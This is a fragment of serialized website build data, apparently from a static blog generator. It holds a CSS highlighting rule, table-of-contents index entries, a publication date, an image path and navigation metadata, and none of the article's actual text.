.sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}",{"title":197,"searchDepth":225,"depth":225,"links":949},[950,951,963,964],{"id":127,"depth":225,"text":128},{"id":152,"depth":225,"text":153,"children":952},[953,954,955,956,957,958,959,960,961,962],{"id":157,"depth":314,"text":158},{"id":179,"depth":314,"text":180},{"id":330,"depth":314,"text":331},{"id":354,"depth":314,"text":355},{"id":413,"depth":314,"text":414},{"id":475,"depth":314,"text":476},{"id":525,"depth":314,"text":526},{"id":590,"depth":314,"text":591},{"id":629,"depth":314,"text":630},{"id":699,"depth":314,"text":700},{"id":892,"depth":225,"text":893},{"id":916,"depth":225,"text":917},"2026-09-24","md","\u002Fimg\u002Fhacker.png",{},{"title":34,"description":197},"ROZRD1TiLKRsfv36SWby5YZl0dffq14flzDGRMqiMmk",[972,973],{"title":30,"path":31,"stem":32,"description":197,"children":-1},{"title":38,"path":39,"stem":40,"description":197,"children":-1},1791619510050]